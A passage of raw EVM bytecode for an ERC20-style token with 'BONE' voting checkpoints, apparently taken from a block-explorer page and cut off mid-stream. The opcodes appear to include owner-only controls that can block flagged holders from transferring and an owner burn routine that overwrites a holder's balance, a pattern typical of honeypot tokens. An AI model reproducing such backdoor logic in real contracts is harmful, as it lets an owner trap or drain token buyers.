4f610f486113de565b84846115b1565b6001905092915050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610fc3576000611030565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361101191906128e3565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6110406113de565b73ffffffffffffffffffffffffffffffffffffffff1661105e6119a5565b73ffffffffffffffffffffffffffffffffffffffff16146110b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ab90612802565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111df6113de565b73ffffffffffffffffffffffffffffffffffffffff166111fd6119a5565b73ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90612802565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba906129e9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138f9190612a09565b9050838110156113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612aab565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612b3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90612bcf565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a4919061254a565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116525750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116ae5760011515600560009054906101000a900460ff161515146116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612c15565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590612ca7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590612d39565b60405180910390fd5b611799838383611d0b565b6118058160405180606001604052806026815260200161301360269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193a919061254a565b60405180910390a3505050565b600083831115829061198f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611986919061240a565b60405180910390fd5b50828461199c9190612d59565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a3d846108c4565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b39828483611d10565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba690612dff565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2d90612e91565b60405180910390fd5b81600654611c449190612d59565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c999190612d59565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cfe919061254a565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750600081115b15611fba57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e85576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611def576000611e5c565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e3d91906128e3565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e738483611fbf90919063ffffffff16565b9050611e8186848484612018565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb9576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f23576000611f90565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f7191906128e3565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611fa7848361138090919063ffffffff16565b9050611fb585848484612018565b5050505b5b505050565b600082821115612004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffb90612efd565b60405180910390fd5b81836120109190612d59565b905092915050565b600061203c436040518060600160405280603481526020016130616034913961231b565b905060008463ffffffff161180156120da57508063ffffffff16600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876120a491906128e3565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156121545781600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018761212e91906128e3565b63ffffffff1663ffffffff168152602001908152602001600020600101819055506122c4565b60405180604001604052808263ffffffff16815260200183815250600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff166001856122139190612f1d565b63ffffffff1611612259576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225090612fc9565b60405180910390fd5b6001846122669190612f1d565b600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161230c929190612fe9565b60405180910390a25050505050565b600064010000000083108290612367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235e919061240a565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123ab578082015181840152602081019050612390565b838111156123ba576000848401525b50505050565b6000601f19601f8301169050919050565b60006123dc82612371565b6123e6818561237c565b93506123f681856020860161238d565b6123ff816123c0565b840191505092915050565b6000602082019050818103600083015261242481846123d1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061245c82612431565b9050919050565b61246c81612451565b811461247757600080fd5b50565b60008135905061248981612463565b92915050565b6000819050919050565b6124a28161248f565b81146124ad57600080fd5b50565b6000813590506124bf81612499565b92915050565b600080604083850312156124dc576124db61242c565b5b60006124ea8582860161247a565b92505060206124fb858286016124b0565b9150509250929050565b60008115159050919050565b61251a81612505565b82525050565b60006020820190506125356000830184612511565b92915050565b6125448161248f565b82525050565b600060208201905061255f600083018461253b565b92915050565b60008060006060848603121561257e5761257d61242c565b5b600061258c8682870161247a565b935050602061259d8682870161247a565b92505060406125ae868287016124b0565b9150509250925092565b600060ff82169050919050565b6125ce816125b8565b82525050565b60006020820190506125e960008301846125c5565b92915050565b6000602082840312156126055761260461242c565b5b60006126138482850161247a565b91505092915050565b61262581612451565b82525050565b6000602082019050612640600083018461261c565b92915050565b600063ffffffff82169050919050565b61265f81612646565b82525050565b600060208201905061267a6000830184612656565b92915050565b600080604083850312156126975761269661242c565b5b60006126a58582860161247a565b92505060206126b68582860161247a565b9150509250929050565b6126c981612646565b81146126d457600080fd5b50565b6000813590506126e6816126c0565b92915050565b600080604083850312156127035761270261242c565b5b60006127118582860161247a565b9250506020612722858286016126d7565b9150509250929050565b60006040820190506127416000830185612656565b61274e602083018461253b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061279c57607f821691505b602082108114156127b0576127af612755565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006127ec60208361237c565b91506127f7826127b6565b602082019050919050565b6000602082019050818103600083015261281b816127df565b9050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b600061287e60278361237c565b915061288982612822565b604082019050919050565b600060208201905081810360008301526128ad81612871565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006128ee82612646565b91506128f983612646565b92508282101561290c5761290b6128b4565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061295182612646565b915061295c83612646565b92508261296c5761296b612917565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129d360268361237c565b91506129de82612977565b604082019050919050565b60006020820190508181036000830152612a02816129c6565b9050919050565b6000612a148261248f565b9150612a1f8361248f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a5457612a536128b4565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a95601b8361237c565b9150612aa082612a5f565b602082019050919050565b60006020820190508181036000830152612ac481612a88565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612b2760248361237c565b9150612b3282612acb565b604082019050919050565b60006020820190508181036000830152612b5681612b1a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bb960228361237c565b9150612bc482612b5d565b604082019050919050565b60006020820190508181036000830152612be881612bac565b9050919050565b50565b6000612bff60008361237c565b9150612c0a82612bef565b600082019050919050565b60006020820190508181036000830152612c2e81612bf2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c9160258361237c565b9150612c9c82612c35565b604082019050919050565b60006020820190508181036000830152612cc081612c84565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d2360238361237c565b9150612d2e82612cc7565b604082019050919050565b60006020820190508181036000830152612d5281612d16565b9050919050565b6000612d648261248f565b9150612d6f8361248f565b925082821015612d8257612d816128b4565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612de960218361237c565b9150612df482612d8d565b604082019050919050565b60006020820190508181036000830152612e1881612ddc565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e7b60228361237c565b9150612e8682612e1f565b604082019050919050565b60006020820190508181036000830152612eaa81612e6e565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f770000600082015250565b6000612ee7601e8361237c565b9150612ef282612eb1565b602082019050919050565b60006020820190508181036000830152612f1681612eda565b9050919050565b6000612f2882612646565b9150612f3383612646565b92508263ffffffff03821115612f4c57612f4b6128b4565b5b828201905092915050565b7f424f4e453a3a5f7772697465436865636b706f696e743a206e6577206368656360008201527f6b706f696e742065786365656473203332206269747300000000000000000000602082015250565b6000612fb360368361237c565b9150612fbe82612f57565b604082019050919050565b60006020820190508181036000830152612fe281612fa6565b9050919050565b6000604082019050612ffe600083018561253b565b61300b602083018461253b565b939250505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365424f4e453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e50a4ab988aeb2c255cb7f1b3305c5dd958e20dea459ee8b9614f6d4711fb3c264736f6c63430008080033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806373db1eb2116100c3578063a9059cbb1161007c578063a9059cbb146103fe578063b4b5ea571461042e578063db5d77931461045e578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b806373db1eb214610304578063782d6fe1146103345780637ecebe001461036457806395d89b41146103945780639dc29fac146103b2578063a457c2d7146103ce5761014d565b80633950935111610115578063395093511461020c5780634355b9d21461023c578063587cde1e146102585780635c19a95c146102885780636fcfff45146102a457806370a08231146102d45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b604051610167919061240a565b60405180910390f35b61018a600480360381019061018591906124c5565b610589565b6040516101979190612520565b60405180910390f35b6101a86105a7565b6040516101b5919061254a565b60405180910390f35b6101d860048036038101906101d39190612565565b6105b1565b6040516101e59190612520565b60405180910390f35b6101f661068a565b60405161020391906125d4565b60405180910390f35b610226600480360381019061022191906124c5565b6106a1565b6040516102339190612520565b60405180910390f35b610256600480360381019061025191906125ef565b610754565b005b610272600480360381019061026d91906125ef565b61082b565b60405161027f919061262b565b60405180910390f35b6102a2600480360381019061029d91906125ef565b610894565b005b6102be60048036038101906102b991906125ef565b6108a1565b6040516102cb9190612665565b60405180910390f35b6102ee60048036038101906102e991906125ef565b6108c4565b6040516102fb919061254a565b60405180910390f35b61031e600480360381019061031991906125ef565b61090d565b60405161032b9190612520565b60405180910390f35b61034e600480360381019061034991906124c5565b610963565b60405161035b919061254a565b60405180910390f35b61037e600480360381019061037991906125ef565b610d3a565b60405161038b919061254a565b60405180910390f35b61039c610d52565b6040516103a9919061240a565b60405180910390f35b6103cc60048036038101906103c791906124c5565b610de4565b005b6103e860048036038101906103e391906124c5565b610e6e565b6040516103f59190612520565b60405180910390f35b610418600480360381019061041391906124c5565b610f3b565b6040516104259190612520565b60405180910390f35b610448600480360381019061044391906125ef565b610f59565b604051610455919061254a565b60405180910390f35b610478600480360381019061047391906125ef565b611038565b005b610494600480360381019061048f9190612680565b61110f565b6040516104a1919061254a565b60405180910390f35b6104c460048036038101906104bf91906126ec565b611196565b6040516104d292919061272c565b60405180910390f35b6104f560048036038101906104f091906125ef565b6111d7565b005b60606007805461050690612784565b80601f016020809104026020016040519081016040528092919081815260200182805461053290612784565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113de565b84846113e6565b6001905092915050565b6000600a54905090565b60006105be8484846115b1565b61067f846105ca6113de565b61067a8560405180606001604052806028815260200161303960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113de565b8461074585600160006106bf6113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b6113e6565b6001905092915050565b61075c6113de565b73ffffffffffffffffffffffffffffffffffffffff1661077a6119a5565b73ffffffffffffffffffffffffffffffffffffffff16146107d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c790612802565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b61089e33826119ce565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60004382106109a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099e90612894565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a14576000915050610d34565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a6391906128e3565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b1057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610aea91906128e3565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610d34565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b91576000915050610d34565b600080600183610ba191906128e3565b90505b8163ffffffff168163ffffffff161115610cce57600060028383610bc891906128e3565b610bd29190612946565b82610bdd91906128e3565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff161415610c9d57806020015195505050505050610d34565b86816000015163ffffffff161015610cb757819350610cc7565b600182610cc491906128e3565b92505b5050610ba4565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610d6190612784565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8d90612784565b8015610dda5780601f10610daf57610100808354040283529160200191610dda565b820191906000526020600020905b815481529060010190602001808311610dbd57829003601f168201915b5050505050905090565b610dec6113de565b73ffffffffffffffffffffffffffffffffffffffff16610e0a6119a5565b73ffffffffffffffffffffffffffffffffffffffff1614610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5790612802565b60405180910390fd5b610e6a8282611b3f565b5050565b6000610f31610e7b6113de565b84610f2c856040518060600160405280602581526020016130956025913960016000610ea56113de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b6113e6565b6001905092915050565b6000610f4f610f486113de565b84846115b1565b6001905092915050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610fc3576000611030565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361101191906128e3565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6110406113de565b73ffffffffffffffffffffffffffffffffffffffff1661105e6119a5565b73ffffffffffffffffffffffffffffffffffffffff16146110b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ab90612802565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b6111df6113de565b73ffffffffffffffffffffffffffffffffffffffff166111fd6119a5565b73ffffffffffffffffffffffffffffffffffffffff1614611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90612802565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ba906129e9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828461138f9190612a09565b9050838110156113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb90612aab565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612b3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bd90612bcf565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a4919061254a565b60405180910390a3505050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116525750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116ae5760011515600560009054906101000a900460ff161515146116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612c15565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590612ca7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178590612d39565b60405180910390fd5b611799838383611d0b565b6118058160405180606001604052806026815260200161301360269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119479092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161193a919061254a565b60405180910390a3505050565b600083831115829061198f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611986919061240a565b60405180910390fd5b50828461199c9190612d59565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611a3d846108c4565b905082600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611b39828483611d10565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba690612dff565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2d90612e91565b60405180910390fd5b81600654611c449190612d59565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a6000828254611c999190612d59565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cfe919061254a565b60405180910390a3505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d4c5750600081115b15611fba57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e85576000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611def576000611e5c565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611e3d91906128e3565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000611e738483611fbf90919063ffffffff16565b9050611e8186848484612018565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611fb9576000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f23576000611f90565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611f7191906128